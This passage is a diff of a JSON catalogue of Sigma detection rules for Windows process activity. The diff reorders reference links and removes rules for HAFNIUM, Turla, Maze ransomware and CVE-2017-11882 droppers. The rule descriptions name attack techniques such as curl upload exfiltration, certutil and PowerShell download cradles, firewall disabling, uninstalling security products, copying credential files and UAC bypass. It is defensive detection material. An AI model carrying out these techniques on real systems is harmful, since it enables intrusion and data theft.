Stracciatella Execution" + }, { "description": "Detects usage of the \"msedge.exe\" binary as a LOLBIN to download arbitrary file via the CLI", "meta": { @@ -57785,7 +55928,7 @@ { "description": "Detects the execution of the \"curl\" process with \"upload\" flags. Which might indicate potential data exfiltration", "meta": { - "author": "Florian Roth (Nextron Systems)", + "author": "Florian Roth (Nextron Systems), Cedric MAURUGEON (Update)", "creation_date": "2020/07/03", "falsepositive": [ "Scripts created by developers and admins" @@ -57797,8 +55940,8 @@ "refs": [ "https://twitter.com/d1r4c/status/1279042657508081664", "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", "https://curl.se/docs/manpage.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_fileupload.yml" ], "tags": [ @@ -57840,8 +55983,8 @@ "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/", - "https://twitter.com/bigmacjpg/status/1349727699863011328?s=12", "http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt", + "https://twitter.com/bigmacjpg/status/1349727699863011328?s=12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_finger_usage.yml" ], "tags": [ @@ -57942,8 +56085,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/nao_sec/status/1530196847679401984", - "https://twitter.com/_JohnHammond/status/1531672601067675648", "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", + "https://twitter.com/_JohnHammond/status/1531672601067675648", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_arbitrary_command_execution.yml" ], "tags": [ @@ -58101,10 +56244,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", "https://twitter.com/SBousseaden/status/1211636381086339073", - "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "https://www.elastic.co/guide/en/security/current/remote-file-copy-to-a-hidden-share.html", + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", + "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_lateral_movement.yml" ], "tags": [ @@ -58222,8 +56365,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", "https://app.any.run/tasks/61a296bb-81ad-4fee-955f-3b399f4aaf4b", + "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysprep_appdata.yml" ], "tags": [ @@ -58322,11 +56465,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", "https://www.joeware.net/freetools/tools/adfind/", - "https://thedfirreport.com/2020/05/08/adfind-recon/", - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", + "https://thedfirreport.com/2020/05/08/adfind-recon/", + "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_adfind_susp_usage.yml" ], @@ -58419,8 +56562,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation", "https://github.com/carlospolop/PEASS-ng", + "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_winpeas.yml" ], "tags": [ @@ -58503,8 +56646,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/subTee/status/1216465628946563073", "https://gist.github.com/am0nsec/8378da08f848424e4ab0cc5b317fdd26", + "https://twitter.com/subTee/status/1216465628946563073", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_task_folder_evasion.yml" ], "tags": [ @@ -58573,10 +56716,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/2020/02/24/parent-pid-spoofing/", "https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing", - "https://www.picussecurity.com/resource/blog/how-to-detect-parent-pid-ppid-spoofing-attacks", "https://www.virustotal.com/gui/search/filename%253A*spoof*%2520filename%253A*ppid*/files", + "https://pentestlab.blog/2020/02/24/parent-pid-spoofing/", + "https://www.picussecurity.com/resource/blog/how-to-detect-parent-pid-ppid-spoofing-attacks", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_selectmyparent.yml" ], "tags": [ @@ -58609,8 +56752,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", "https://twitter.com/bohops/status/948061991012327424", + "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_invocation.yml" ], "tags": [ @@ -58643,9 +56786,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-1---disable-microsoft-defender-firewall", "https://app.any.run/tasks/210244b9-0b6b-4a2c-83a3-04bd3175d017/", "https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-1---disable-microsoft-defender-firewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_disable.yml" ], "tags": [ @@ -58734,8 +56877,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/MichalKoczwara/status/1553634816016498688", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-8---windows---disable-the-sr-scheduled-task", "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-8---windows---disable-the-sr-scheduled-task", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_disable.yml" ], "tags": [ @@ -58755,51 +56898,6 @@ "uuid": "9ac94dc8-9042-493c-ba45-3b5e7c86b980", "value": "Disable Important Scheduled Task" }, - { - "description": "Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/03/09", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_hafnium.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3", - "https://twitter.com/GadixCRK/status/1369313704869834753?s=20", - "https://twitter.com/BleepinComputer/status/1372218235949617161", - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_hafnium.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546", - "attack.t1053" - ] - }, - "related": [ - { - "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "bbb2dedd-a0e3-46ab-ba6c-6c82ae7a9aa7", - "value": "HAFNIUM Exchange Exploitation Activity" - }, { "description": "Detects execution of the builtin \"rmdir\" command in order to delete directories.\nAdversaries may delete files left behind by the actions of their intrusion activity.\nMalware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how.\nRemoval of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n", "meta": { @@ -58834,49 +56932,6 @@ "uuid": "41ca393d-538c-408a-ac27-cf1e038be80c", "value": "Directory Removal Via Rmdir" }, - { - "description": "Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/01/20", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_unc2452_ps.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-7---create-a-process-using-wmi-query-and-an-encoded-command", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_ps.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.t1047" - ] - }, - "related": [ - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "b7155193-8a81-4d8f-805d-88de864ca50c", - "value": "UNC2452 PowerShell Pattern" - }, { "description": "Detects usage of COM objects that can be abused to download files in PowerShell by CLSID", "meta": { @@ -58890,8 +56945,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=57", "https://learn.microsoft.com/en-us/dotnet/api/system.type.gettypefromclsid?view=net-7.0", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=57", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_com_cradles.yml" ], "tags": "No established tags" @@ -58970,10 +57025,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/214094a7-0abc-4a7b-a564-1b757faed79d/", - "https://support.microsoft.com/fr-fr/topic/an-ms-dos-based-program-that-uses-the-ms-dos-protected-mode-interface-crashes-on-a-computer-that-is-running-windows-7-5dc739ea-987b-b458-15e4-d28d5cca63c7", "https://docs.microsoft.com/en-us/windows/compatibility/ntvdm-and-16-bit-app-support", "https://app.any.run/tasks/93fe92fa-8b2b-4d92-8c09-a841aed2e793/", + "https://app.any.run/tasks/214094a7-0abc-4a7b-a564-1b757faed79d/", + "https://support.microsoft.com/fr-fr/topic/an-ms-dos-based-program-that-uses-the-ms-dos-protected-mode-interface-crashes-on-a-computer-that-is-running-windows-7-5dc739ea-987b-b458-15e4-d28d5cca63c7", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_16bit_application.yml" ], "tags": [ @@ -59050,8 +57105,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/", "https://room362.com/post/2013/2013-06-10-volume-shadow-copy-ntdsdit-domain-hashes-remotely-part-1/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_sensitive_file_copy.yml" ], @@ -59097,8 +57152,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html", "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil-command-syntax", + "https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml" ], "tags": [ @@ -59204,9 +57259,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", + "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_bloopers_modules.yml" ], "tags": [ @@ -59226,47 +57281,6 @@ "uuid": "4f154fb6-27d1-4813-a759-78b93e0b9c48", "value": "Operator Bloopers Cobalt Strike Modules" }, - { - "description": "Detects specific process parameters as used by ACTINIUM scheduled task persistence creation.", - "meta": { - "author": "Andreas Hunkeler (@Karneades)", - "creation_date": "2022/02/07", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_actinium_persistence.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_actinium_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053", - "attack.t1053.005" - ] - }, - "related": [ - { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "e1118a8f-82f5-44b3-bb6b-8a284e5df602", - "value": "Potential ACTINIUM Persistence Activity" - }, { "description": "Detects usage of wmic to start or stop a service", "meta": { @@ -59515,10 +57529,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/", + "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", "https://twitter.com/egre55/status/1087685529016193025", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_download_file_sharing_domains.yml" ], @@ -59743,8 +57757,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120", "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system32.yml" ], "tags": [ @@ -59777,9 +57791,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/attrib", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-3---create-windows-system-file-with-attrib", - "https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system.yml" ], "tags": [ @@ -59812,8 +57826,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_service_path_modification.yml" ], "tags": [ @@ -59847,8 +57861,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/cd3690b100a495885c407282d0c94c85f48a8a2e/atomics/T1218.011/T1218.011.md", "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", + "https://github.com/redcanaryco/atomic-red-team/blob/cd3690b100a495885c407282d0c94c85f48a8a2e/atomics/T1218.011/T1218.011.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_script_run.yml" ], "tags": [ @@ -59882,8 +57896,8 @@ "logsource.product": "windows", "refs": [ "https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37", - "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md", + "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_remote_download_or_execution.yml" ], "tags": [ @@ -59903,66 +57917,6 @@ "uuid": "f57c58b3-ee69-4ef5-9041-455bf39aaa89", "value": "Remote CHM File Download/Execution Via HH.EXE" }, - { - "description": "Detects automated lateral movement by Turla group", - "meta": { - "author": "Markus Neis", - "creation_date": "2017/11/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_turla_commands_critical.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://securelist.com/the-epic-turla-operation/65545/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_critical.yml" - ], - "tags": [ - "attack.g0010", - "attack.execution", - "attack.t1059", - "attack.lateral_movement", - "attack.t1021.002", - "attack.discovery", - "attack.t1083", - "attack.t1135" - ] - }, - "related": [ - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "c601f20d-570a-4cde-a7d6-e17f99cb8e7f", - "value": "Turla Group Lateral Movement" - }, { "description": "Extract data from cab file and hide it in an alternate data stream", "meta": { @@ -60010,8 +57964,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://ss64.com/nt/logman.html", "https://twitter.com/0gtweet/status/1359039665232306183?s=21", + "https://ss64.com/nt/logman.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logman_disable_eventlog.yml" ], "tags": [ @@ -60052,11 +58006,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", - "https://twitter.com/cglyer/status/1355171195654709249", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://twitter.com/cglyer/status/1355171195654709249", "https://www.trendmicro.com/en_us/research/23/a/vice-society-ransomware-group-targets-manufacturing-companies.html", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_uninstall_security_products.yml" ], "tags": [ @@ -60089,9 +58043,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md", "https://eqllib.readthedocs.io/en/latest/analytics/ab7a6ef4-0983-4275-a4f1-5c6bd3c31c23.html", "https://github.com/frgnca/AudioDeviceCmdlets", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_audio_capture.yml" ], "tags": [ @@ -60111,58 +58065,6 @@ "uuid": "932fb0d8-692b-4b0f-a26e-5643a50fe7d6", "value": "Audio Capture via PowerShell" }, - { - "description": "Detects specific process characteristics of Maze ransomware word document droppers", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/05/08", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_maze_ransomware.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", - "https://app.any.run/tasks/65a79440-373a-4725-8d74-77db9f2abda4/", - "https://app.any.run/tasks/51e7185c-52d7-4efb-ac0d-e86340053473/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_maze_ransomware.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002", - "attack.t1047", - "attack.impact", - "attack.t1490" - ] - }, - "related": [ - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "29fd07fc-9cfd-4331-b7fd-cc18dfa21052", - "value": "Potential Maze Ransomware Activity" - }, { "description": "Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file", "meta": { @@ -60176,9 +58078,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "https://www.cisa.gov/uscert/sites/default/files/publications/aa22-320a_joint_csa_iranian_government-sponsored_apt_actors_compromise_federal%20network_deploy_crypto%20miner_credential_harvester.pdf", - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_computer_discovery_get_adcomputer.yml" ], "tags": [ @@ -60211,10 +58113,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://www.sprocketsecurity.com/resources/crossing-the-log4j-horizon-a-vulnerability-with-no-return", - "https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/", + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://nodejs.org/api/cli.html", + "https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_node_abuse.yml" ], "tags": [ @@ -60247,9 +58149,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", "https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b", "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", + "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_changepk_slui.yml" ], "tags": [ @@ -60270,57 +58172,6 @@ "uuid": "503d581c-7df0-4bbe-b9be-5840c0ecc1fc", "value": "UAC Bypass Using ChangePK and SLUI" }, - { - "description": "Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/11/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2017_11882.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.hybrid-analysis.com/sample/2a4ae284c76f868fc51d3bb65da8caa6efacb707f265b25c30f34250b76b7507?environmentId=100", - "https://www.google.com/url?hl=en&q=https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about&source=gmail&ust=1511481120837000&usg=AFQjCNGdL7gVwLXaNSl2Td8ylDYbSJFmPw", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_11882.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.t1204.002", - "attack.initial_access", - "attack.t1566.001" - ] - }, - "related": [ - { - "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "678eb5f4-8597-4be6-8be7-905e4234b53a", - "value": "Droppers Exploiting CVE-2017-11882" - }, { "description": "Detects file association changes using the builtin \"assoc\" command.\nWhen a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n", "meta": { @@ -60367,8 +58218,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware", "https://docs.microsoft.com/fr-fr/windows-server/administration/windows-commands/fsutil-behavior", + "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_symlinkevaluation.yml" ], "tags": [ @@ -60388,41 +58239,6 @@ "uuid": "c0b2768a-dd06-4671-8339-b16ca8d1f27f", "value": "Fsutil Behavior Set SymlinkEvaluation" }, - { - "description": "Detects the execution of an executable that is typically used by PlugX for DLL side loading starting from an uncommon location", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/06/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_plugx_susp_exe_locations.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - 